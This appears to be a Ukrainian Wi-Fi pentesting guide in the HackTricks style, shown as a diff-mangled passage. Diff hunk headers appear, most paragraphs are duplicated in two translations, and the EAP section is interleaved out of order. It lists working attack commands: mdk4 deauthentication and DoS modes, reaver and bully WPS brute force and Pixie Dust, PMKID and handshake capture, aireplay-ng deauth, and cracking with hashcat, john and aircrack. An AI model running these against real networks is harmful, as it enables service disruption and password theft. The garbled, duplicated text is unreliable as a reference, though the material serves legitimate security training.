Надсилання фреймів аутентифікації до всіх доступних точок доступу (AP) в зоні дії може перевантажити ці AP, особливо коли в цьому беруть участь численні клієнти. Цей інтенсивний трафік може призвести до нестабільності системи, що призведе до замерзання деяких AP або навіть їх скидання.
Відправка аутентифікаційних кадрів до всіх доступних точок доступу (AP) в межах досяжності може перевантажити ці AP, особливо коли залучено багато клієнтів. Цей інтенсивний трафік може призвести до нестабільності системи, викликаючи зависання або навіть перезавантаження деяких AP.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -171,145 +172,142 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**РЕЖИМ АТАКИ p: Пошук та перебор SSID**
**ATTACK MODE p: SSID Probing and Bruteforcing**
Перевірка доступу до точок доступу (AP) дозволяє визначити, чи правильно відображається SSID і підтверджує діапазон AP. Ця техніка, спільно з **перебором схованих SSID** з або без словника, допомагає в ідентифікації та доступі до схованих мереж.
Пр probing Access Points (APs) перевіряє, чи SSID правильно розкритий, і підтверджує діапазон AP. Ця техніка, в поєднанні з **bruteforcing hidden SSIDs** з або без словника, допомагає в ідентифікації та доступі до прихованих мереж.
**РЕЖИМ АТАКИ m: Використання протидій Майклу**
**ATTACK MODE m: Michael Countermeasures Exploitation**
Надсилання випадкових або дубльованих пакетів до різних черг обробки якості обслуговування може спричинити виклик протидій Майклу на **AP з TKIP**, що призведе до вимкнення AP на одну хвилину. Цей метод є ефективною тактикою атаки **DoS** (Відмова в обслуговуванні).
Відправка випадкових або дублікатних пакетів до різних QoS черг може активувати Michael Countermeasures на **TKIP APs**, що призводить до однієї хвилини вимкнення AP. Цей метод є ефективною тактикою **DoS** (Denial of Service) атаки.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**РЕЖИМ АТАКИ e: Впливання пакетів EAPOL Start та Logoff**
**ATTACK MODE e: Впорскування пакетів EAPOL Start та Logoff**
Затоплення точки доступу (AP) **кадрами EAPOL Start** створює **фіктивні сесії**, перевантажуючи AP та блокуючи законних клієнтів. Як альтернативу, впровадження **фальшивих повідомлень EAPOL Logoff** примусово відключає клієнтів, обидва методи ефективно перешкоджають роботі мережі.
Затоплення AP пакетами **EAPOL Start** створює **фальшиві сесії**, перевантажуючи AP та блокуючи легітимних клієнтів. Альтернативно, впорскування **фальшивих повідомлень EAPOL Logoff** примусово відключає клієнтів, обидва методи ефективно порушують мережевий сервіс.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**РЕЖИМ АТАКИ s: Атаки на мережі сітки IEEE 802.11s**
**ATTACK MODE s: Атаки для мереж IEEE 802.11s**
Різноманітні атаки на керування посиланнями та маршрутизацію в мережах сітки.
Різні атаки на управління посиланнями та маршрутизацію в мережах з сітковою топологією.
**РЕЖИМ АТАКИ w: Переплутування WIDS**
**ATTACK MODE w: Плутанина WIDS**
Перехрещування клієнтів з кількома вузлами WDS або фальшивими роговими точками доступу може маніпулювати системами виявлення та запобігання вторгнень, створюючи плутанину та потенційне зловживання системою.
Перехресне з'єднання клієнтів з кількома вузлами WDS або фальшивими зловмисними AP може маніпулювати системами виявлення та запобігання вторгненням, створюючи плутанину та потенційне зловживання системою.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**РЕЖИМ АТАКИ f: Packet Fuzzer**
**ATTACK MODE f: Packet Fuzzer**
Пакетний фазер, який має різноманітні джерела пакетів та широкий набір модифікаторів для маніпулювання пакетами.
Пакетний фузер з різноманітними джерелами пакетів та комплексним набором модифікаторів для маніпуляції пакетами.
### **Airggedon**
_**Airgeddon**_ пропонує більшість атак, запропонованих у попередніх коментарях:
![](<../../.gitbook/assets/image (126).png>)
![](<../../.gitbook/assets/image (95).png>)
## WPS
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, підвищуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою **WPA** або **WPA2** Personal. Він неефективний для легко компрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється на дві половини, що робить його вразливим до атак перебору через обмежену кількість комбінацій (11 000 можливостей).
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, покращуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою **WPA** або **WPA2** Personal. Він неефективний для легко скомпрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється в двох частинах, що робить його вразливим до атак методом перебору через обмежену кількість комбінацій (11,000 можливостей).
### WPS Bruteforce
Є 2 основні інструменти для виконання цієї дії: Reaver та Bully.
Існує 2 основні інструменти для виконання цієї дії: Reaver та Bully.
* **Reaver** був розроблений для ефективної та практичної атаки на WPS і був протестований на великому різноманітті точок доступу та реалізацій WPS.
* **Bully** - це **нова реалізація** атаки перебору WPS, написана на мові програмування C. Він має кілька переваг перед оригінальним кодом reaver: менше залежностей, покращена пам'ять та продуктивність ЦП, правильна обробка порядку байтів та більш надійний набір параметрів.
* **Reaver** був розроблений як надійна та практична атака проти WPS і був протестований на різноманітних точках доступу та реалізаціях WPS.
* **Bully** є **новою реалізацією** атаки методом перебору WPS, написаною на C. Він має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена пам'ять та продуктивність процесора, правильне оброблення порядку байтів та більш надійний набір опцій.
Атака використовує **вразливість WPS PIN-коду**, зокрема його викриття перших чотирьох цифр та роль останньої цифри як контрольної суми, що спрощує атаку перебором. Однак захист від атак перебору, такий як **блокування MAC-адрес** агресивних атакувальників, вимагає **зміни MAC-адрес** для продовження атаки.
Атака експлуатує **вразливість WPS PIN**, зокрема його відкритість перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує атаку методом перебору. Однак захист від атак методом перебору, такі як **блокування MAC-адрес** агресивних атакуючих, вимагає **ротації MAC-адрес** для продовження атаки.
Після отримання WPS PIN за допомогою інструментів, таких як Bully або Reaver, зловмисник може вивести WPA/WPA2 PSK, забезпечуючи **постійний доступ до мережі**.
Отримавши WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечуючи **постійний доступ до мережі**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**Смарт-брутфорс**
**Smart Brute Force**
Цей вдосконалений підхід спрямований на отримання WPS PIN за допомогою відомих вразливостей:
Цей вдосконалений підхід націлений на WPS PIN, використовуючи відомі вразливості:
1. **Попередньо відомі PIN-коди**: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, відомими з використанням однорідних WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
2. **Алгоритми генерації PIN-кодів**: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково потребує ідентифікатор пристрою, додаючи шар до процесу генерації PIN-коду.
1. **Попередньо виявлені PIN-коди**: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, які відомі використанням однакових WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.
2. **Алгоритми генерації PIN-кодів**: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково вимагає ідентифікатор пристрою, що додає рівень до процесу генерації PIN-коду.
### Атака WPS Pixie Dust
### WPS Pixie Dust attack
**Домінік Бонгард** виявив уразливість деяких точок доступу (AP), що стосується створення секретних кодів, відомих як **nonce** (**E-S1** та **E-S2**). Якщо ці nonce можна визначити, взламати WPS PIN точки доступу стає легким завданням. Точка доступу розкриває PIN-код у спеціальному коді (хеш), щоб довести, що він є законним і не є фальшивим (рогатим) AP. Ці nonce суттєво є "ключами" до розблокування "сейфу", який містить WPS PIN. Додаткову інформацію можна знайти [тут](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
**Dominique Bongard** виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як **nonces** (**E-S1** та **E-S2**). Якщо ці nonces можна вгадати, зламати WPS PIN AP стає легко. AP розкриває PIN у спеціальному коді (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є "ключами" для розблокування "сейфа", що містить WPS PIN. Більше про це можна знайти [тут](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
Простими словами, проблема полягає в тому, що деякі точки доступу не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN-код вразливим до вгадування ззовні мережі (атака брутфорсом офлайн).
Простими словами, проблема в тому, що деякі AP не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (офлайн-атака методом грубої сили).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Якщо ви не хочете перемикати пристрій у режим монітора, або `reaver` та `bully` мають певні проблеми, ви можете спробувати [OneShot-C](https://github.com/nikita-yfh/OneShot-C).
Цей інструмент може виконувати атаку Pixie Dust без необхідності перемикатися в режим монітора.
Якщо ви не хочете перевести пристрій в моніторний режим, або `reaver` і `bully` мають якісь проблеми, ви можете спробувати [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Цей інструмент може виконувати атаку Pixie Dust без необхідності переходити в моніторний режим.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Атака Null Pin
### Null Pin attack
Деякі погано спроектовані системи навіть дозволяють **Null PIN** (порожній або неіснуючий PIN) надавати доступ, що досить незвичайно. Інструмент **Reaver** може перевірити цю вразливість, на відміну від **Bully**.
Деякі погано спроектовані системи навіть дозволяють **Null PIN** (порожній або неіснуючий PIN) надавати доступ, що є досить незвичним. Інструмент **Reaver** здатний перевіряти цю вразливість, на відміну від **Bully**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
Усі запропоновані атаки WPS можна легко виконати за допомогою _**airgeddon.**_
Всі запропоновані атаки WPS можна легко виконати за допомогою _**airgeddon.**_
![](<../../.gitbook/assets/image (124).png>)
![](<../../.gitbook/assets/image (219).png>)
* 5 та 6 дозволяють вам спробувати **ваш власний PIN** (якщо у вас є)
* 7 та 8 виконують атаку **Pixie Dust**
* 13 дозволяє вам перевірити **NULL PIN**
* 11 та 12 знову **зберуть PIN-коди, пов'язані з обраним AP з наявних баз даних** та **згенерують** можливі **PIN-коди** за допомогою: ComputePIN, EasyBox та за потреби Arcadyan (рекомендовано, чому б і ні?)
* 9 та 10 протестують **кожний можливий PIN**
* 5 і 6 дозволяють спробувати **ваш власний PIN** (якщо у вас є)
* 7 і 8 виконують **атаку Pixie Dust**
* 13 дозволяє протестувати **NULL PIN**
* 11 і 12 **збирають PIN-коди, пов'язані з вибраним AP з доступних баз даних** і **генерують** можливі **PIN-коди** за допомогою: ComputePIN, EasyBox і, за бажанням, Arcadyan (рекомендується, чому б і ні?)
* 9 і 10 протестують **кожен можливий PIN**
## **WEP**
Такий ламаний та не використовуваний в наш час. Просто знайте, що _**airgeddon**_ має опцію WEP під назвою "All-in-One" для атаки цього типу захисту. Більше інструментів пропонують схожі опції.
![](<../../.gitbook/assets/image (125).png>)
Так зламаний і не використовується в наші дні. Просто знайте, що _**airgeddon**_ має опцію WEP під назвою "All-in-One" для атаки на цей вид захисту. Багато інструментів пропонують подібні опції.
![](<../../.gitbook/assets/image (432).png>)
***
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти щодо Хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Hacking Insights**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
**Новини про Хакінг у Реальному Часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
**Real-Time Hack News**\
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
**Останні Оголошення**\
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи
**Latest Announcements**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
***
## WPA/WPA2 PSK
### PMKID
У 2018 році **hashcat** [розкрив](https://hashcat.net/forum/thread-7717.html) новий метод атаки, унікальний тим, що він потребує лише **одного пакету** і не потребує підключених клієнтів до цільової AP — лише взаємодія між атакуючим та AP.
У 2018 році **hashcat** [виявив](https://hashcat.net/forum/thread-7717.html) новий метод атаки, унікальний тим, що йому потрібен **лише один пакет** і не вимагає, щоб клієнти були підключені до цільового AP—лише взаємодія між атакуючим і AP.
Багато сучасних маршрутизаторів додають **додаткове поле** до **першого кадру EAPOL** під час асоціації, відоме як `Robust Security Network`. Це включає `PMKID`.
Багато сучасних маршрутизаторів додають **додаткове поле** до **першого EAPOL** кадру під час асоціації, відоме як `Robust Security Network`. Це включає `PMKID`.
Як пояснює оригінальний пост, **PMKID** створюється за допомогою відомих даних:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Дано, що "PMK Name" постійний, ми знаємо BSSID точки доступу та станції, і `PMK` ідентичний тому, що відображений в повному 4-хвилинному рукостисканні, **hashcat** може використовувати цю інформацію для взлому PSK та відновлення паролю!
Даючи те, що "PMK Name" є постійним, ми знаємо BSSID AP та станції, а `PMK` ідентичний тому, що з повного 4-стороннього рукостискання, **hashcat** може використати цю інформацію для злому PSK та відновлення пароля!
Для **збору** цієї інформації та **брутфорсу** локально пароля ви можете виконати:
Щоб **зібрати** цю інформацію та **брутфорсити** локально пароль, ви можете зробити:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -321,17 +319,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
**PMKIDs, які були захоплені**, будуть показані в **консолі** і також **збережені** у файлі \_/tmp/attack.pcap\_\
Тепер конвертуйте захоплення у формат **hashcat/john** і розшифруйте його:
Захоплені **PMKIDs** будуть показані в **консолі** та також **збережені** в \_ **/tmp/attack.pcap**\_\
Тепер перетворіть захоплення в формат **hashcat/john** та зламайте його:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Будь ласка, зверніть увагу, що правильний формат хеша містить **4 частини**, наприклад: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`
Якщо ваш хеш містить **лише 3 частини**, то він є **недійсним** (захоплення PMKID не було валідним).
Будь ласка, зверніть увагу, що формат правильного хешу містить **4 частини**, як: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Якщо ваш **лише** містить **3 частини**, то це **недійсно** (захоплення PMKID не було дійсним).
Зверніть увагу, що `hcxdumptool` також **захоплює рукостискання** (щось на зразок цього з'явиться: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Ви можете **перетворити** рукостискання у формат **hashcat**/**john** за допомогою `cap2hccapx`
Зверніть увагу, що `hcxdumptool` **також захоплює рукопожаття** (щось подібне з'явиться: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Ви можете **перетворити** **рукопожаття** у формат **hashcat**/**john** за допомогою `cap2hccapx`
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -339,32 +336,32 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Я помітив, що деякі рукостискання, зібрані цим інструментом, не можуть бути розшифровані навіть за наявності правильного пароля. Я рекомендую також захоплювати рукостискання традиційним способом, якщо це можливо, або захоплювати кілька з них за допомогою цього інструменту._
_Я помітив, що деякі захоплені хендшейки за допомогою цього інструменту не могли бути зламані, навіть знаючи правильний пароль. Я рекомендую також захоплювати хендшейки традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту._
### Захоплення рукостискання
### Захоплення хендшейка
Атака на мережі **WPA/WPA2** може бути виконана шляхом захоплення **рукостискання** та спроби **розшифрування** пароля **офлайн**. Цей процес включає в себе моніторинг комунікації конкретної мережі та **BSSID** на певному **каналі**. Ось спрощений посібник:
Атака на **WPA/WPA2** мережі може бути виконана шляхом захоплення **хендшейка** та спроби **зламати** пароль **офлайн**. Цей процес включає моніторинг зв'язку конкретної мережі та **BSSID** на певному **каналі**. Ось спрощена інструкція:
1. Визначте **BSSID**, **канал** та **підключений клієнт** цільової мережі.
2. Використовуйте `airodump-ng`, щоб моніторити мережевий трафік на вказаному каналі та BSSID, сподіваючись захопити рукостискання. Команда буде виглядати наступним чином:
1. Визначте **BSSID**, **канал** та **підключеного клієнта** цільової мережі.
2. Використовуйте `airodump-ng` для моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись захопити хендшейк. Команда виглядатиме так:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Для збільшення шансів захоплення handshake, тимчасово відключіть клієнта від мережі, щоб змусити повторну аутентифікацію. Це можна зробити за допомогою команди `aireplay-ng`, яка відправляє пакети деаутентифікації клієнту:
3. Щоб збільшити шанси на захоплення хендшейка, тимчасово відключіть клієнта від мережі, щоб примусити його до повторної аутентифікації. Це можна зробити за допомогою команди `aireplay-ng`, яка надсилає пакети деаутентифікації клієнту:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Зауважте, що після деаутентифікації клієнт може спробувати підключитися до іншої точки доступу або, у інших випадках, до іншої мережі._
_Зверніть увагу, що оскільки клієнт був деавторизований, він міг спробувати підключитися до іншої AP або, в інших випадках, до іншої мережі._
Як тільки в `airodump-ng` з'явиться інформація про рукостискання, це означатиме, що рукостискання було захоплено, і ви можете припинити прослуховування:
Як тільки в `airodump-ng` з'являється деяка інформація про хендшейк, це означає, що хендшейк був захоплений, і ви можете припинити прослуховування:
![](<../../.gitbook/assets/image (172) (1).png>)
Після захоплення рукостискання ви можете **розшифрувати** його за допомогою `aircrack-ng`:
Як тільки хендшейк захоплений, ви можете **зламати** його за допомогою `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Перевірте, чи є handshake в файлі
### Перевірте, чи є хендшейк у файлі
**aircrack**
```bash
@ -378,7 +375,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Якщо цей інструмент знаходить незавершений handshake ESSID перед завершеним, він не виявить дійсний._
_Якщо цей інструмент знайде незавершений хендшейк ESSID перед завершеним, він не виявить дійсний._
**pyrit**
```bash
@ -387,67 +384,59 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
У **підприємницьких налаштуваннях WiFi ви зіткнетеся з різними методами аутентифікації**, кожен з яких забезпечує різні рівні безпеки та функції управління. Коли ви використовуєте інструменти, такі як `airodump-ng`, для інспектування мережевого трафіку, ви можете помітити ідентифікатори цих типів аутентифікації. Деякі загальні методи включають:
У **підприємницьких налаштуваннях WiFi ви зіткнетеся з різними методами аутентифікації**, кожен з яких забезпечує різні рівні безпеки та функції управління. Коли ви використовуєте інструменти, такі як `airodump-ng`, щоб перевірити мережевий трафік, ви можете помітити ідентифікатори для цих типів аутентифікації. Деякі поширені методи включають:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Загальна картка токенів)**:
- Цей метод підтримує апаратні токени та одноразові паролі в межах EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик рівнів та надсилає паролі у відкритому вигляді до точки доступу, що створює ризик для атак на зниження рівня.
1. **EAP-GTC (Generic Token Card)**:
* Цей метод підтримує апаратні токени та одноразові паролі в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик з боку партнера і надсилає паролі у відкритому вигляді до точки доступу, що створює ризик атак на зниження безпеки.
2. **EAP-MD5 (Message Digest 5)**:
* Включає надсилання MD5 хешу пароля з клієнта. Це **не рекомендується** через вразливість до атак словником, відсутність автентифікації сервера та неможливість генерувати специфічні для сесії WEP ключі.
3. **EAP-TLS (Transport Layer Security)**:
* Використовує як клієнтські, так і серверні сертифікати для автентифікації та може динамічно генерувати WEP ключі на основі користувача та сесії для захисту комунікацій.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Забезпечує взаємну автентифікацію через зашифрований тунель, а також метод для отримання динамічних WEP ключів для кожного користувача та сесії. Він вимагає лише серверних сертифікатів, а клієнти використовують облікові дані.
5. **PEAP (Protected Extensible Authentication Protocol)**:
* Функціонує подібно до EAP, створюючи TLS тунель для захищеної комунікації. Це дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту, який надає тунель.
* **PEAP-MSCHAPv2**: Часто називається PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS тунелем.
* **PEAP-EAP-TLS (або PEAP-TLS)**: Подібно до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
2. **EAP-MD5 (Повідомлення Digest 5)**:
- Передбачає надсилання хешу MD5 пароля від клієнта. Це **не рекомендується** через вразливість до словникових атак, відсутність аутентифікації сервера та неможливість генерації сеансових ключів WEP.
Ви можете знайти більше інформації про ці методи автентифікації [тут](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) та [тут](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
3. **EAP-TLS (Транспортний рівень безпеки)**:
- Використовується як клієнтські, так і серверні сертифікати для аутентифікації та може динамічно генерувати користувацькі та сеансові ключі WEP для захисту комунікацій.
### Захоплення імені користувача
4. **EAP-TTLS (Зашифрований тунельний транспортний рівень безпеки)**:
- Забезпечує взаємну аутентифікацію через зашифрований тунель, разом з методом похідного динамічного, користувача, сеансу, ключів WEP. Вимагає лише серверні сертифікати, з клієнтами, які використовують облікові дані.
Читаючи [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), виглядає так, що якщо ви використовуєте **EAP**, то **"Ідентифікаційні"** **повідомлення** повинні бути **підтримувані**, і **ім'я користувача** буде надіслано у **відкритому** вигляді в **"Відповіді на ідентифікацію"**.
5. **PEAP (Захищений протокол розширеної аутентифікації)**:
- Функціонує подібно до EAP, створюючи TLS-тунель для захищеної комунікації. Це дозволяє використання слабших протоколів аутентифікації поверх EAP через захист, що надається тунеллю.
* **PEAP-MSCHAPv2**: Часто називається PEAP, поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS-тунелем.
* **PEAP-EAP-TLS (або PEAP-TLS)**: Схожий на EAP-TLS, але ініціює TLS-тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
Навіть використовуючи один з найбільш безпечних методів автентифікації: **PEAP-EAP-TLS**, можливо **захопити ім'я користувача, надіслане в протоколі EAP**. Для цього **захопіть автентифікаційне спілкування** (запустіть `airodump-ng` всередині каналу та `wireshark` на тому ж інтерфейсі) і відфільтруйте пакети за `eapol`.\
У пакеті "**Відповідь, Ідентифікація**" з'явиться **ім'я користувача** клієнта.
Ви можете знайти більше інформації про ці методи аутентифікації [тут](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) та [тут](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
![](<../../.gitbook/assets/image (850).png>)
### Захоплення імен користувачів
### Анонімні ідентичності
Читаючи [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), здається, що якщо ви використовуєте **EAP**, **"Identity"** **повідомлення** повинні бути **підтримані**, і **ім'я користувача** буде відправлено **відкрито** в **"Response Identity"** повідомленнях.
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі запит EAP-Ідентичності зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити захист анонімності користувача, відповідь від EAP клієнта на пристрої користувача містить лише основну інформацію, необхідну для початкового RADIUS сервера для обробки запиту. Ця концепція ілюструється через наступні сценарії:
Навіть використовуючи один з найбільш безпечних методів аутентифікації: **PEAP-EAP-TLS**, можливо **захопити ім'я користувача, відправлене в протоколі EAP**. Для цього **захопіть комунікацію аутентифікації** (запустіть `airodump-ng` на каналі та `wireshark` на тій же інтерфейсі) та відфільтруйте пакети за допомогою `eapol`.\
У пакеті "**Response, Identity**" з'явиться **ім'я користувача** клієнта.
* EAP-Ідентичність = анонімний
* У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор. Початковий RADIUS сервер функціонує як EAP-PEAP або EAP-TTLS сервер, відповідальний за управління серверною стороною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації потім обробляється локально або делегується віддаленому (домашньому) RADIUS серверу.
* EAP-Ідентичність = анонімний@realm\_x
* У цій ситуації користувачі з різних доменів приховують свої ідентичності, вказуючи свої відповідні домени. Це дозволяє початковому RADIUS серверу проксувати запити EAP-PEAP або EAP-TTLS до RADIUS серверів у їхніх домашніх доменах, які діють як сервер PEAP або TTLS. Початковий RADIUS сервер працює виключно як RADIUS релейний вузол.
* Альтернативно, початковий RADIUS сервер може функціонувати як сервер EAP-PEAP або EAP-TTLS і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей варіант полегшує налаштування різних політик для різних доменів.
![](<../../.gitbook/assets/image (150).png>)
У EAP-PEAP, як тільки TLS тунель встановлено між сервером PEAP і клієнтом PEAP, сервер PEAP ініціює запит EAP-Ідентичності та передає його через TLS тунель. Клієнт відповідає на цей другий запит EAP-Ідентичності, надсилаючи відповідь EAP-Ідентичності, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто підслуховує трафік 802.11.
### Анонімні ідентифікатори
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS тунелем. У цьому випадку клієнт включає атрибут User-Name та або атрибут Password, або атрибут CHAP-Password у початкове TLS повідомлення, надіслане після встановлення тунелю.
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті бездротової мережі WiFi запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Для забезпечення захисту анонімності користувача відповідь від клієнта EAP на пристрої користувача містить лише необхідну інформацію для початкового сервера RADIUS для обробки запиту. Ця концепція ілюструється через наступні сценарії:
Незалежно від вибраного протоколу, сервер PEAP/TTLS отримує знання про справжню ідентичність користувача після встановлення TLS тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер має ідентичність користувача і продовжує з методом автентифікації, захищеним TLS тунелем. Альтернативно, сервер PEAP/TTLS може переслати новий RADIUS запит на домашній RADIUS сервер користувача. Цей новий RADIUS запит не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод автентифікації є EAP, внутрішні EAP повідомлення передаються на домашній RADIUS сервер без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS повідомлення містить справжню ідентичність користувача, замінюючи анонімне ім'я користувача з вхідного RADIUS запиту. Коли захищений метод автентифікації є PAP або CHAP (підтримується лише TTLS), атрибут User-Name та інші атрибути автентифікації, витягнуті з TLS корисного навантаження, замінюються у вихідному RADIUS повідомленні, витісняючи анонімне ім'я користувача та атрибути TTLS EAP-Message, знайдені у вхідному RADIUS запиті.
* EAP-Identity = анонімний
Для отримання додаткової інформації перегляньте [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
